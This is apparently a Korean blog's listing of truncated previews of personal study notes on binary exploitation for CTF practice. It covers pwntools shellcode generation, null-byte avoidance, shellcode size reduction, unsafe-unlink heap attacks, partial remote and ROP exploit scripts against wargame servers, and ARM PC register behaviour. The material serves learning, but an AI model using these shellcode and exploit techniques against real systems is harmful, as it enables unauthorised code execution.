ETC
-
shellcraft에서 64bit shellcode 에러ETC/Pwn 메모장 2019. 6. 24. 23:40
기본적으로 64비트 쉘코드를 실행시키고 싶을때에는 이런 식으로 작성한다. from pwn import * shellcode = shellcraft.amd64.linux.sh() p = run_assembly(shellcode) p.interactive() 하지만 shellcode를 실행시키는 단계에서 에러가 나는 것을 볼 수 있을건데, 그때 다음 한 줄만 추가해주면 된다. context(arch='amd64', os='linux') 마찬가지로, 익스코드에는 다음과 같이 작성한다. from pwn import * r = remote('ctf.j0n9hyun.xyz', 3005) context(arch='amd64', os='linux') shellcode = asm(shellcraft.amd64.linux..
-
반복문에서 쉘코드 크기 줄이기ETC/Pwn 메모장 2019. 6. 24. 22:43
쉘코드는 만들때 기본적으로 Null Byte(\x00)가 없어야 하고(인자가 끊기기 때문), 들어갈 버퍼가 작을 수 있기 때문에 쉘코드의 크기를 최대한 줄이는 것이 좋다. 기본적으로 while이나 for와 같은 반복문에서 다음과 같이 줄일 수 있다. for(int i = 0; i < 2; i++){ // code... } 위와 같은 반복문이 있을 경우 i 가 0, 1, 2일때 총 3번 반복문 안의 코드를 실행하게 되는데, 이 부분을 어셈블리어로 번역하게 되면 기본적으로는 다음과 같이 나타낼 수 있다. ; code.. xor ecx, ecx; ecx를 i라고 두고 for_function: ; code.. inc ecx; i++ cmp BYTE cl, 2; i 와 2 비교 jle for_function; i..
-
shellcode 작성 시 null byte 제거하기ETC/Pwn 메모장 2019. 6. 20. 23:22
기본적으로 shellcode 작성 시에는 null byte를 없애는 것이 최우선 목표이다. mov eax, 0x0 이러한 코드는 다음과 같이 기계어로 번역된다. b8 00 00 00 00 mov eax,0x0 이렇게 되면 shellcode로 넣을 때에 "\xB8\x00\x00\x00\x00" 이런 식으로 들어가게 되는데 만약 strcpy로 shellcode를 삽입할 시에 \x00(Null Byte) 에서 끊기므로 우리는 저 Null Byte를 없애줘야 한다. 몇가지 방법이 있는데 하나하나 살펴보자. 1. xor를 이용한 레지스터 초기화 xor eax, eax xor 연산을 똑같은 레지스터와 하게 되면 그 레지스터는 0x0으로 초기화 된다. 이 asm code를 기계어로 번역해보자. 31 c0 xor ea..
-
Double Free bugggggggETC/Pwn 메모장 2019. 6. 14. 23:17
unsafe unlinking 과정을 통해서 pointing target을 내가 원하는 주소로 overwrite한다. #define unlink(P, BK, FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; } 이때 p는 현재 chunk를 나타내고 이 과정은 아래와 같이 나타난다. FD = *P + 8; BK = *P + 12; FD + 12 = BK; BK + 8 = FD; 이때 unlink 과정에서 fd와 bk pointer를 조작할 수 있으므로 fd+12는 bk로 덮을 수 있다. protostar heap3번 문제를 참조해보면, fd+12 = bk (이 과정이 끝나면 ((printf@got - 12) + 12 = winner()) ((printf@g..
-
python code debuggingETC/Pwn 메모장 2019. 6. 14. 23:15
python 코드 디버깅할때 다음과 같은 멍령어 치면 됨. n9ne@ubuntu [ ~/BOF/rop ] python exploit.py DEBUG 공부하다가 선배한테 leak해서 알아냄. 아래는 문제 풀다가 안될때 디버깅 사용해서 푼 예시이다. ropasaurusrex exploit.py #!/usr/bin/python from pwn import * read_plt = 0x804832c read_got = 0x804961c write_plt = 0x804830c bss = 0x8049620 dynamic = 0x8049530 pppr = 0x80484b6 read_system = 0x9d0d0 bin_sh = "/bin/sh" bin_sh_len = len(bin_sh) payload = "A"*14..
-
ARM에서 PC 레지스터가 낳은 의문점ETC/Pwn 메모장 2019. 6. 11. 22:55
PC 레지스터는 다음 실행할 명령의 주소를 담고 있다. 그렇다면 대체로 그 다음 주소값이 PC 레지스터에 들어가는 것이 맞을것이라고 생각한다. (intel arch에서 eip와 비슷하다면) 하지만 eip와는 다르게 PC 레지스터에는 다음 다음 실행할 명령의 주소를 담고 있다. 왜일까? ARM Information Center에서는 다음과 같이 나와있다. 실행하는 동안 pc는 현재 실행되는 명령어의 주소를 포함하지 않습니다. 현재 실행되는 명령어의 주소는 일반적으로 ARM의 경우 pc-8이거나 Thumb의 경우 pc-4입니다. 그 이유는 정확히 설명은 되어 있지 않지만, 구글링 결과 ARM은 fetch(명령어 가져와서) -> decode(해석하고) -> execute(실행) 이 3가지 과정을 거치게 되는데..